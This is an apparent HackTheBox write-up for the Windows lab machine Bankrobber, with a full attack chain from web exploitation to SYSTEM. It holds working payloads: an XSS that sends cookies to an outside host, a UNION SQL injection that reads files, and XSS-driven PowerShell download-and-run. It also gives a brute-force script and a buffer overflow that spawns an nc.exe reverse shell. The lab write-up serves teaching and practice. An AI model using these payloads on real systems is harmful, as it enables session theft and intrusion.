HTB: Bankrobber Writeup
Bankrobber - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Bankrobber |
| OS | Linux (Windows target) |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.228.109 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐⭐
Summary
Bankrobber is an Insane-difficulty Windows box wearing a Linux nmap fingerprint on the outside — a cryptocurrency “e-coin” web application backed by MySQL/XAMPP on IIS-style ports (80/443/445/3306), with a locked-down internal-only service on TCP 910. The web app lets any registered user submit a transfer that gets reviewed by an admin bot, and the comment field on that transfer form is not sanitized — a stored XSS. That XSS is used twice: first to exfiltrate the admin’s base64 session cookies, and second (after the admin panel is found to gate a command-execution “backdoor checker” behind a REMOTE_ADDR == ::1 check) to smuggle a cmd=dir | powershell ... payload through the admin’s own localhost browser session, bypassing the loopback restriction entirely. A UNION-based SQL injection in the admin’s user-search endpoint (running as MySQL root) is used along the way to LOAD_FILE() the PHP source of that backdoor checker, revealing the exact filter logic to bypass. Once a foothold is landed as bankrobber\cortin, a firewalled internal port (910) is tunneled out with chisel, its 4-digit PIN gate is brute-forced, and a custom transfer.exe binary is found to have a classic stack buffer overflow at a fixed offset that stores its own binary path — overwriting that path with a call to nc.exe yields a straight-to-SYSTEM shell.
TL;DR: Stored XSS on transfer comment → steal admin cookies (base64, no HttpOnly) → login to admin panel → UNION SQLi as MySQL root → LOAD_FILE() reads backdoorchecker.php source, revealing a ::1-only command exec gate → replay XSS to POST cmd=dir | powershell ... from the admin’s own localhost browser, bypassing the loopback check → PowerShell reverse shell as cortin → chisel-tunnel internal port 910 → brute-force 4-digit PIN (0021) → buffer overflow at offset 32 in transfer.exe’s path buffer → overwrite with nc.exe reverse shell command → SYSTEM.
Reconnaissance
Port Scanning
# Full TCP port sweep from the jump hostnmap -Pn -p- --min-rate 2000 -T4 10.129.228.109 -oN /tmp/br_all.txtResults: 80/tcp, 443/tcp, 445/tcp and 3306/tcp open externally. A fifth port — internal-only TCP 910 — was only discovered later, once a shell was already on the box, since the host firewall blocks direct external access to it.
Service Enumeration
The web root on port 80 is a cryptocurrency (“e-coin”) site. Pulling the page and grepping for form elements confirmed a registration flow, a login flow, and (post-login) a transfer form:
# Register and log in a throwaway accountcurl -s -X POST -d 'username=d3v1&password=Passw0rd1' http://10.129.228.109/register.phpcurl -si -X POST -d 'username=d3v1&password=Passw0rd1' http://10.129.228.109/login.phpThe resulting session was stored as three plaintext cookies — id, username, password — with the username and password values base64-encoded:
curl -s -b 'id=3;username=ZDN2MQ%3D%3D;password=UGFzc3cwcmQx' \ http://10.129.228.109/user/ | grep -iE 'form|input|action|select|textarea'Decoding confirmed the cookie scheme:
import base64s = base64.b64decode('ZDN2MQ==').decode()print(s) # -> d3v1No HttpOnly flag was set on either cookie, which is the crux of the vulnerability below — anything reflected in the DOM can read and exfiltrate the session directly via document.cookie.
Vulnerability Assessment
- Stored XSS in the
commentfield of/user/transfer.php— reviewed by an admin bot, and unsanitized on output. - No
HttpOnlyon theusername/passwordsession cookies — makes the XSS directly cookie-stealing. - UNION-based SQL injection in the admin
/admin/search.phpendpoint, running as MySQLroot, givingLOAD_FILE()read access to the web root. - Localhost-gated command execution in
admin/backdoorchecker.php, restricted toREMOTE_ADDR == ::1— bypassable because the XSS executes inside the admin’s own browser, which requests the endpoint fromlocalhost. - Internal-only PIN-gated service on TCP 910, reachable only from the box itself, hiding a custom
transfer.exebinary with a stack buffer overflow.
Initial Foothold
Exploitation Path
1. Confirm the transfer form and stage a listener.
The transfer endpoint accepts fromId, toId, amount, and comment. Standing up a Python HTTP server on the jump host to catch outbound requests:
mkdir -p /tmp/br/www && cd /tmp/br/wwwnohup python3 -m http.server 80 --bind 10.10.15.68 > /tmp/br/http.log 2>&1 &2. Stored XSS → confirm admin review.
Submitting a transfer with an <img>-based XSS payload in comment (URL-encoded, toId pointed at the admin’s user id) triggers an inbound GET on the jump host’s listener once the admin bot reviews the pending transaction — proving both the injection and the existence of an automated admin reviewer.
3. Steal the admin’s session cookies.
curl -s -b 'id=3;username=ZDN2MQ%3D%3D;password=UGFzc3cwcmQx' \ -X POST http://10.129.228.109/user/transfer.php \ --data-urlencode "fromId=3" --data-urlencode "toId=1" \ --data-urlencode "amount=1" \ --data-urlencode "comment=<img src=x onerror=this.src='http://10.10.15.68/?c='+btoa(document.cookie)>"The onerror handler fires when the malformed src fails to load, giving JavaScript access to document.cookie — base64-encoded via btoa() and exfiltrated as a query string to the jump host’s listener. Decoding the captured value recovered the admin’s session:
s = base64.b64decode('dXNlcm5hbWU9WVdSdGFXNCUzRDsgcGFzc3dvcmQ9U0c5d1pXeGxjM055YjIxaGJuUnBZdyUzRCUzRDsgaWQ9MQ==').decode()# -> username=YWRtaW4%3D; password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D; id=1# base64 decode again: admin / HopelessromanticAdmin credentials: admin / Hopelessromantic.
4. Log into the admin panel and confirm SQLi.
C="id=1;username=YWRtaW4%3D;password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D"curl -s -b "$C" http://10.129.228.109/admin/ | grep -iE 'form|input|action'admin/search.php takes a user id and reflects the query as MySQL, confirmed vulnerable by probing with x' UNION SELECT 1,user(),3 FROM ...-- --style payloads via curl. The union query resolved the current DB user as MySQL root — enough to read arbitrary files on the box with LOAD_FILE().
5. Read backdoorchecker.php source via SQLi.
C="id=1;username=YWRtaW4%3D;password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D"curl -s -b "$C" "http://10.129.228.109/admin/search.php" \ --data-urlencode "id=x' UNION SELECT 1,LOAD_FILE('C:/XAMPP/htdocs/admin/backdoorchecker.php'),3-- -"This dumped the PHP source of the admin panel’s hidden “backdoor checker” feature. The key gate found in the source: it only executes $_POST['cmd'] via system() when $_SERVER['REMOTE_ADDR'] == "::1" — i.e., it must be requested from the machine’s own loopback interface. Since our curl session hits the box externally, direct exploitation is blocked — but the earlier XSS gives us a way to make the admin’s own browser issue that request from localhost.
6. Chain the XSS into remote command execution.
An HTTP-hosted PowerShell reverse shell was staged on the jump host (SMB port 445 was already occupied there, so delivery went over HTTP instead of the usual \\ip\share\nc.exe pattern):
# /tmp/br/www/r.ps1 served over the jump host's HTTP server$c = New-Object System.Net.Sockets.TCPClient("10.10.15.68",4443)$s = $c.GetStream()# ... standard TCP reverse-shell stream wiring to spawn cmd/powershellA <script src=...> tag was submitted through the same admin-reviewed comment field, this time pointing at a JS payload that POSTs to backdoorchecker.php from inside the admin’s browser — which satisfies the REMOTE_ADDR == ::1 check because the request genuinely originates from the admin’s own machine:
curl -s -b 'id=3;username=ZDN2MQ%3D%3D;password=UGFzc3cwcmQx' \ -X POST http://10.129.228.109/user/transfer.php \ --data-urlencode "toId=1" \ --data-urlencode "comment=<script src=http://10.10.15.68/s.js></script>"s.js fires an XMLHttpRequest at http://localhost/admin/backdoorchecker.php with cmd=dir | powershell -c <download-and-run-r.ps1> and xhr.withCredentials = true so the admin’s session cookies ride along automatically. Because the pipe character isn’t in the script’s blacklist ($( and & are), it’s used to chain a second command onto the mandated dir prefix.
7. Catch the shell.
nohup nc -lvnp 4443 > /tmp/br/shell.log 2>&1 &The admin’s bot reviewed the poisoned comment, its browser fired the localhost POST, and the PowerShell reverse shell connected back — landing as bankrobber\cortin.
whoami# -> bankrobber\cortinuser.txt was retrieved from C:\Users\cortin\Desktop\user.txt: <redacted>
Privilege Escalation
Discovering the internal service
With a shell on the box, a netstat/ss-equivalent listener check turned up TCP 910 bound to localhost only — not present in the external nmap results, and blocked by the host firewall from the jump host directly.
Tunneling port 910 out with chisel
# Stage tools onto the jump host, matching the box's target OScp /usr/share/windows-binaries/nc.exe /usr/share/windows-binaries/chisel.exe /tmp/br/share/chisel.exe and nc.exe were delivered to the cortin shell and a reverse chisel tunnel was established from the jump host, forwarding local port 910 through the compromised host’s loopback-only service out to the jump host where it could be interacted with directly.
Brute-forcing the 4-digit PIN
The service on 910 gates access behind a 4-digit numeric PIN, disconnecting immediately on a bad guess — a 10,000-combination keyspace trivially brute-forceable:
from pwn import *
for i in range(10000): code = f"{i:04d}" r = remote("localhost", 910, level='error') r.recvuntil(b"[$] ") r.sendline(code.encode()) response = r.recvline() r.close() if b"Access denied" not in response: log.success(f"Valid code found: {code}") breakPIN recovered: 0021.
Buffer overflow in transfer.exe
Authenticating with the PIN grants access to an “amount” prompt, which internally shells out to C:\Users\admin\Documents\transfer.exe. Sending an oversized amount string overflowed a fixed-size buffer that — critically — also stores the path to the binary the service invokes. Pattern-based offset analysis located the overwrite point at 32 bytes: everything after offset 32 lands directly in the binary-path field that gets executed.
# Overflow the path buffer at offset 32 with a command instead of a pathpayload = b"A" * 32 + b"C:\\Users\\Public\\nc.exe 10.10.15.68 4444 -e cmd.exe"nc.exe was first copied to C:\Users\Public\ (world-writable/executable) on the target via the existing cortin shell, then the crafted overflow was sent through the chisel-tunneled connection to port 910. The service executed the overwritten “path” — our netcat command — as its own privileged context.
# Listener for the privileged callbacknc -lvnp 4444The reverse shell connected as nt authority\system.
whoami# -> nt authority\systemroot.txt was retrieved from C:\Users\admin\Desktop\root.txt: <redacted>
Attack Chain Summary
Register/login on e-coin site (base64, non-HttpOnly cookies) ↓Stored XSS in transfer "comment" field, reviewed by admin bot ↓Steal admin session cookies (username=admin / password=Hopelessromantic) ↓Login to /admin/ → UNION-based SQLi in search.php (MySQL root) ↓LOAD_FILE() reads admin/backdoorchecker.php source → reveals ::1-only cmd exec gate ↓Replay XSS with <script src=...> → admin's browser POSTs cmd=dir | powershell ... tobackdoorchecker.php from localhost, bypassing the REMOTE_ADDR check ↓HTTP-delivered PowerShell reverse shell → bankrobber\cortin (user.txt) ↓Discover internal-only TCP 910 → chisel reverse tunnel through firewall ↓Brute-force 4-digit PIN (0021) on tunneled service ↓Buffer overflow in transfer.exe at offset 32 (binary-path buffer) → nc.exe reverse shell ↓nt authority\system (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | Manual HTTP interaction with registration/login/transfer/admin endpoints |
python3 -m http.server | Hosting the XSS-exfil listener and staged PowerShell script |
nc / nc.exe | Netcat listeners (jump host) and Windows reverse shell payload (target) |
Custom JS payload (<img onerror>, <script src>) | Cookie theft and localhost-bypass command injection |
| UNION-based SQL injection (manual, via curl) | Dumping DB contents and reading backdoorchecker.php via LOAD_FILE() |
chisel | Reverse tunnel to reach firewall-blocked internal port 910 |
pwntools | Brute-forcing the 4-digit PIN on the internal service |
| Custom Python fixed-length pattern | Locating the buffer-overflow offset (32 bytes) in transfer.exe |
Key Learnings
Techniques Practiced
- Stored XSS discovery and exploitation for session-cookie theft against non-HttpOnly cookies
- Chaining XSS to bypass a server-side
REMOTE_ADDR == ::1(localhost-only) authorization check by making the victim’s own browser issue the privileged request - Manual UNION-based SQL injection and abuse of
LOAD_FILE()for source-code disclosure - Reading application source via SQLi to reverse-engineer a command filter/blacklist and find the bypass (
|vs. blacklisted$(/&) - Pivoting/tunneling a firewall-blocked internal service out to attacker infrastructure with chisel
- Brute-forcing a small numeric keyspace (4-digit PIN) with pwntools
- Locating and exploiting a stack buffer overflow that overwrites an executable-path field, turning a crash primitive into arbitrary command execution
Lessons Learned
HttpOnlyisn’t optional on session cookies. Even simple base64-armored cookies are trivially exfiltrated once any XSS exists in the application, turning a single reflected/stored injection into full session takeover.REMOTE_ADDRchecks are not a security boundary against XSS. Any check that trusts “the request came from localhost” can be defeated the moment an attacker can get code running inside a session that lives on that localhost — the browser, not the network, is the actual origin of the request.- SQL injection is a file-read primitive, not just a data-exfil one.
LOAD_FILE()under aroot-privileged MySQL account handed over full source code of a supposedly hidden admin feature, which directly informed the RCE bypass. - Never trust that a firewalled internal service is safe by obscurity. Once code execution exists on the host, internal-only ports are just another interface to tunnel through — chisel made TCP 910 as reachable as if it were exposed externally.
- Custom binaries invoked by user-controlled buffers are a classic BOF trap. Storing an executable path in the same buffer that’s overflow-vulnerable turns “just a crash” into full command substitution — SYSTEM in this case, since the service ran with elevated privileges.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- MinatoTW, “Bankrobber” HackTheBox Official Writeup (HTB Document No D20.100.59, Machine Authors: Gioo & Cneeliz) — used for explanatory context on the
backdoorchecker.phpsource-code logic, themsf-pattern_create/msf-pattern_offsetmethodology for locating the buffer-overflow offset, and the XAMPP default web-root path (C:\XAMPP\htdocs) referenced during file-read exploitation.